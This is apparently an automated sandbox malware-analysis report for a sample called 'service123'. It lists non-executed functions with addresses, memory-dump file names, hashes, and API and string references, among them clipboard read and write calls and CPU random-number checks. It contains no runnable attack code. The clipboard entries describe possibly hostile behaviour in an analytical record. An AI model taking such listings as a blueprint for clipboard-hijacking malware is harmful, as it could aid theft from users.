Opcode ID: 7a7664898693f01264177816a20dc1240fcd21b72aaa8e27bbfab56a38f886d4
Instruction ID: ef17cef42cce777af4d6453fb624e065c8b4c3493265502832656240b42173b4
Opcode Fuzzy Hash: 7a7664898693f01264177816a20dc1240fcd21b72aaa8e27bbfab56a38f886d4
Instruction Fuzzy Hash: 263104B27083048FDB259F2DD6C26667BF5BF46308B994A78C9008BF89E774D414CB62

Non-executed Functions

Function 6C84CD00 Relevance: 33.4, APIs: 22, Instructions: 445stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C84CD7D

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 179a6286cc264959c08106d2be83d09cbedd7b3ccc7d6f8743fdce3ea4d07dff
Instruction ID: 760a9a1937e2c37cdacdd89eb495d88ecc6f24614dd1b29952f1e1ba560fa992
Opcode Fuzzy Hash: 179a6286cc264959c08106d2be83d09cbedd7b3ccc7d6f8743fdce3ea4d07dff
Instruction Fuzzy Hash: 4A0228715087598FD720CF29C144795FBE2AF86318F09CAAFD8A847B92D376A40DCB81

Function 6C850FC0 Relevance: 22.6, APIs: 8, Strings: 4, Instructions: 1647stringCOMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6C850FCA
strlen.MSVCRT ref: 6C850FD4

Strings

!, xrefs: 6C852C08
5, xrefs: 6C8514D2
, xrefs: 6C85240F
inity, xrefs: 6C851E21

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: localeconvstrlen
String ID: $!$5$inity
API String ID: 186660782-1328200385
Opcode ID: 79442e17ee41c938259dc49726c324f23eca686231ee8ba2bdee1c0ad87633ff
Instruction ID: 5eca00fe30584c09ea72ba041bba0e969f031d0b0c81384ae91525a4287e13be
Opcode Fuzzy Hash: 79442e17ee41c938259dc49726c324f23eca686231ee8ba2bdee1c0ad87633ff
Instruction Fuzzy Hash: EEF23975A083418FD760CF28C28475AFBE1BF85348F918D2EE8D997750DBB5E8548B42

Function 6C8C84D0 Relevance: 17.7, Strings: 14, Instructions: 166COMMON

Download Yara Rule

Strings

Auth, xrefs: 6C8C854F
rdseed, xrefs: 6C8C8518
Genu, xrefs: 6C8C85DF
default, xrefs: 6C8C84EF
hardware, xrefs: 6C8C86A0
Genu, xrefs: 6C8C8557
rdrand, xrefs: 6C8C85A8
Genu, xrefs: 6C8C866E
Auth, xrefs: 6C8C8676
Auth, xrefs: 6C8C85E7
rand_s, xrefs: 6C8C86B7
random_device::random_device(const std::string&): device not available, xrefs: 6C8C8598
random_device::random_device(const std::string&): unsupported token, xrefs: 6C8C86D2
rdrnd, xrefs: 6C8C8618

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memcmpstrlen
String ID: Auth$Auth$Auth$Genu$Genu$Genu$default$hardware$rand_s$random_device::random_device(const std::string&): device not available$random_device::random_device(const std::string&): unsupported token$rdrand$rdrnd$rdseed
API String ID: 3108337309-1359127009
Opcode ID: aa21b3ad5c0e38a37d9fc6641bef4c7e302f08c505c077ce336127f6ded8125e
Instruction ID: abe5348fba9e1ddd8320484e5987d2b200cf59470881cfee8c9d10aab805ed0a
Opcode Fuzzy Hash: aa21b3ad5c0e38a37d9fc6641bef4c7e302f08c505c077ce336127f6ded8125e
Instruction Fuzzy Hash: CB4134F23993014BE320AB29D79236AB6A2BB4131CF604D3ED8829BF51D779D955C313

Function 6C84EE50 Relevance: 12.5, APIs: 8, Instructions: 494COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C84F18B
malloc.MSVCRT ref: 6C84F1A8

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: aeab245d49a688de571ba1dc2cba26e28d2694fb0e65cf0252b047fa55678eee
Instruction ID: 316d953ff5af96a24fb81d90198148b406de66fc0a7d113a5cb3132137f0a059
Opcode Fuzzy Hash: aeab245d49a688de571ba1dc2cba26e28d2694fb0e65cf0252b047fa55678eee
Instruction Fuzzy Hash: 0D125B7560870A8FC320CF19C68061AF7E2BF98358F55CE6DE89997B51D734E809CB92

Function 6C86E6E0 Relevance: 12.2, APIs: 6, Strings: 2, Instructions: 219stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C86E70A
strlen.MSVCRT ref: 6C86E77A

Strings

basic_string: construction from null is not valid, xrefs: 6C86E86F, 6C86E8C0, 6C86E910
basic_string: construction from null is not valid, xrefs: 6C86E742, 6C86E7B2, 6C86E822

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen
String ID: basic_string: construction from null is not valid$basic_string: construction from null is not valid
API String ID: 39653677-1250104765
Opcode ID: 08b0c81632ccceddcd86346ae0ff685b27809af09ebea308b311684dcb10903e
Instruction ID: c6e7858bac0c7c5537949da60840b555ed47d14661e07593c6f20bdbad05185b
Opcode Fuzzy Hash: 08b0c81632ccceddcd86346ae0ff685b27809af09ebea308b311684dcb10903e
Instruction Fuzzy Hash: 9F61C0F1A156148FCB10BF2CD98189ABBE0BF55218F464D7DE8848B714E331E899CBD2

Function 6C859D11 Relevance: 12.0, APIs: 8, Instructions: 46clipboardmemorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E39D0: strlen.MSVCRT ref: 6C8E39DE

OpenClipboard.USER32 ref: 6C859D31
GlobalAlloc.KERNEL32 ref: 6C859D55
GlobalLock.KERNEL32 ref: 6C859D72
strcpy.MSVCRT ref: 6C859D82
GlobalUnlock.KERNEL32 ref: 6C859D8A
EmptyClipboard.USER32 ref: 6C859D93
SetClipboardData.USER32 ref: 6C859DA4
CloseClipboard.USER32 ref: 6C859DAD

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: Clipboard$Global$AllocCloseDataEmptyLockOpenUnlockstrcpystrlen
String ID:
API String ID: 3344633682-0
Opcode ID: 4b5100c870495742d5a9db0c0dd4596bb38ea5a5c83be4011b075fff1afcba76
Instruction ID: 45ebd734fb46df58d6f9827a1e9ca0547e6fc9e2ee49ce244ec1549c0366565f
Opcode Fuzzy Hash: 4b5100c870495742d5a9db0c0dd4596bb38ea5a5c83be4011b075fff1afcba76
Instruction Fuzzy Hash: 8411DDB15082058FEB10BF79D6896AEBBF0BF05705F524C3CE58683684EB74D859CB52

Function 6C860860 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 212stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C860886
memcmp.MSVCRT ref: 6C8608A9
memcmp.MSVCRT ref: 6C86091F
memcmp.MSVCRT ref: 6C860991

Part of subcall function 6C90ADB0: strlen.MSVCRT ref: 6C90ADBE

memcmp.MSVCRT ref: 6C860A25

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C8608D0, 6C860944, 6C8609B7, 6C860A4C, 6C860A68
basic_string::compare, xrefs: 6C8608C8, 6C86093C, 6C8609AF, 6C860A44, 6C860A60

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 85f76c3096c3c9ab08c691881d5c17441b5ea119efcb96ddff6cc0efb5459599
Instruction ID: a03896d2ca5d1bc1e6507152dad85325b9efe9d23be1c405ece035b69951f614
Opcode Fuzzy Hash: 85f76c3096c3c9ab08c691881d5c17441b5ea119efcb96ddff6cc0efb5459599
Instruction Fuzzy Hash: 72615976A093049FC304DF69C9C145AFBE6AFD8788F54892DE8C887B10D731E844DB96

Function 6C8570C0 Relevance: 9.6, APIs: 6, Instructions: 649COMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6C8570C7
memset.MSVCRT ref: 6C857217

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: localeconvmemset
String ID:
API String ID: 2367598729-0
Opcode ID: 9ad3425dea38d1a096adcb9ecac15ae179dff30bc753aacfa4a13cf44282eafd
Instruction ID: 5d41c362eb62c6dedfd647b0c244096035587b9031a5bf5d3a7281bff5e61c81
Opcode Fuzzy Hash: 9ad3425dea38d1a096adcb9ecac15ae179dff30bc753aacfa4a13cf44282eafd
Instruction Fuzzy Hash: 4D4237716283148FD760CF29C28035ABBE2BF85308F94CD2DE4948BB41D7B5E959CB92

Function 6C855880 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 1506COMMON

Download Yara Rule

Strings

, xrefs: 6C857074
, xrefs: 6C856D95
NaN, xrefs: 6C855B5F
Infinity, xrefs: 6C855BE0

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID: $ $Infinity$NaN
API String ID: 0-3274152445
Opcode ID: c7a05d7f424e6a925c2606209bf50d73f395c739ccd5843fc01d551042ad9171
Instruction ID: 67cf00d39c293ec8a2d8e114d77c46317eba4cbfe526bfa9b0e072f96a6e4f6d
Opcode Fuzzy Hash: c7a05d7f424e6a925c2606209bf50d73f395c739ccd5843fc01d551042ad9171
Instruction Fuzzy Hash: 24E237B1A093418FD7A0CF29C28074ABBF0BF89758F948D2DE89597750E7B5D8548F82

Function 6C859E27 Relevance: 6.0, APIs: 4, Instructions: 38clipboardCOMMON

Download Yara Rule

APIs

GetClipboardData.USER32 ref: 6C859E37
GlobalLock.KERNEL32 ref: 6C859E49
GlobalUnlock.KERNEL32 ref: 6C859E6A
CloseClipboard.USER32 ref: 6C859E73
CloseClipboard.USER32 ref: 6C859E98

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: Clipboard$CloseGlobal$DataLockUnlock
String ID:
API String ID: 3186146249-0
Opcode ID: 83e6a9d70e6047f3a47d3b21f6a7d1ef306a4a8940a21d13d3dd17adff368ba5
Instruction ID: 683be7b1a63548e61501a01ceb921af6a4a83e8d505d8481a6aaee0f1bde426b
Opcode Fuzzy Hash: 83e6a9d70e6047f3a47d3b21f6a7d1ef306a4a8940a21d13d3dd17adff368ba5
Instruction Fuzzy Hash: 65F06DB27082018FEB107F7D964816EBBF0AB46314F410E3CD88293690DB74D8198B93

Function 00B351B0 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 1506COMMON

Download Yara Rule

Strings

, xrefs: 00B369A4
, xrefs: 00B366C5

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 736dbd35a192827611c6d3664f3f94f205a9303914a973ee9c8bc78a2222e87f
Instruction ID: 54d518fd46499de3ddab9b0f1c63dde9cce6d6ff07a13d89ab0623da5e80e388
Opcode Fuzzy Hash: 736dbd35a192827611c6d3664f3f94f205a9303914a973ee9c8bc78a2222e87f
Instruction Fuzzy Hash: 8FE230B1A087419FC720DF29C58475AFBE0FF88744F2589ADE88997361E775E8448F82

Function 00B33E20 Relevance: 5.4, Strings: 4, Instructions: 351COMMON

Download Yara Rule

Strings

@, xrefs: 00B33FD9
., xrefs: 00B34114
gfff, xrefs: 00B33F2C
gfff, xrefs: 00B33F43

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID:
String ID: .$@$gfff$gfff
API String ID: 0-2633265772
Opcode ID: 8459d8207e057e620cf1d9af03855443049108a225ce8fe639410900789573df
Instruction ID: 1003e0f2804b851dd55653f85250c70b6b680926c04af23024cdbdf80c4fab27
Opcode Fuzzy Hash: 8459d8207e057e620cf1d9af03855443049108a225ce8fe639410900789573df
Instruction Fuzzy Hash: 93D1E671A087068BD714DF28C88031BBBE2EFD4744F28C9ADE8959B355D774ED488B92

Function 6C8544F0 Relevance: 5.4, Strings: 4, Instructions: 351COMMON

Download Yara Rule

Strings

., xrefs: 6C8547E4
gfff, xrefs: 6C854613
gfff, xrefs: 6C8545FC
@, xrefs: 6C8546A9

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID: .$@$gfff$gfff
API String ID: 0-2633265772
Opcode ID: 8626a3e6e77548aa8c80ec26b31963b047f7067a9e1e968e0f87eb2c543a7be7
Instruction ID: a33eeccdfc7338d98965f97666b2f7056c0291be3060bc84238da04cec405a03
Opcode Fuzzy Hash: 8626a3e6e77548aa8c80ec26b31963b047f7067a9e1e968e0f87eb2c543a7be7
Instruction Fuzzy Hash: 89D1D6716083098BD760CE29C68434BB7E2AFC5348F98CD2DE8548BB55D7B4D929CB82

Function 6C8E3140 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

basic_string: construction from null is not valid, xrefs: 6C8E3250

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID: basic_string: construction from null is not valid
API String ID: 0-2991274800
Opcode ID: 2d894d4bbcee8447ed5b1a07b16ba9e547a8bc38d50cdf57f66693c320dce54d
Instruction ID: 5991c7d95d7463f7610190b0970078b6a3d63cce9dea93d7e83ccb020a410c46
Opcode Fuzzy Hash: 2d894d4bbcee8447ed5b1a07b16ba9e547a8bc38d50cdf57f66693c320dce54d
Instruction Fuzzy Hash: 99416BB29093108FD724DF6DD58065AFBE0AF9A314F15C96EE8988B315D330DC45CBA2

Function 6C8E0730 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C8E07A0
memset.MSVCRT ref: 6C8E07C4

Strings

basic_string::_M_replace_aux, xrefs: 6C8E0840

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memmovememset
String ID: basic_string::_M_replace_aux
API String ID: 1288253900-2536181960
Opcode ID: 477fcaaf964cea2007b0545853e7dd928f495b341804ad52c4468c09c070c310
Instruction ID: 45560f1963f5f099e8fdc125f642b5eea79fadb92f4ec6e0127816c4d67948a0
Opcode Fuzzy Hash: 477fcaaf964cea2007b0545853e7dd928f495b341804ad52c4468c09c070c310
Instruction Fuzzy Hash: E4317E756096A08FC3119F29C9C061ABFF1AFCB604F248D6DE8988B715DB32C845DF92

Function 6C8B3840 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C8B3898
memcpy.MSVCRT ref: 6C8B3911

Part of subcall function 6C8B5590: memcpy.MSVCRT ref: 6C8B5620

Strings

basic_string::_M_replace_aux, xrefs: 6C8B38C0

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memcpy$memset
String ID: basic_string::_M_replace_aux
API String ID: 438689982-2536181960
Opcode ID: 8727e1a39fd877dfb67fb5da1e5145cb52e94779b1ff6b7dcae996324f03c196
Instruction ID: 8f88a09b5f329a504a3fc457987fea9617f55737c2807313b7f3d09fe830503a
Opcode Fuzzy Hash: 8727e1a39fd877dfb67fb5da1e5145cb52e94779b1ff6b7dcae996324f03c196
Instruction Fuzzy Hash: C2215E76A0A3249FC310AF1DD98046EFBE4EB85658F954D6EE888A7311D331D858CB92

Function 6C86A9E0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C86A9FD
wcslen.MSVCRT ref: 6C86AA4D

Strings

basic_string: construction from null is not valid, xrefs: 6C86AA20, 6C86AA70

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 5ca8e751233011c1a13faad691a66d1dd25338103684033f728e5d6e0d0b3ab1
Instruction ID: b0bcce8af79015bb241b32cb65b17aa499a9ae7d5408f57e98db84efb215c4fb
Opcode Fuzzy Hash: 5ca8e751233011c1a13faad691a66d1dd25338103684033f728e5d6e0d0b3ab1
Instruction Fuzzy Hash: CA1193B19153248BCB11AF2CD58189ABBF4AF55218F42087DE8C49B715E331D955CB92

Function 6C86A5F0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C86A60D
wcslen.MSVCRT ref: 6C86A65D

Strings

basic_string: construction from null is not valid, xrefs: 6C86A630, 6C86A680

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
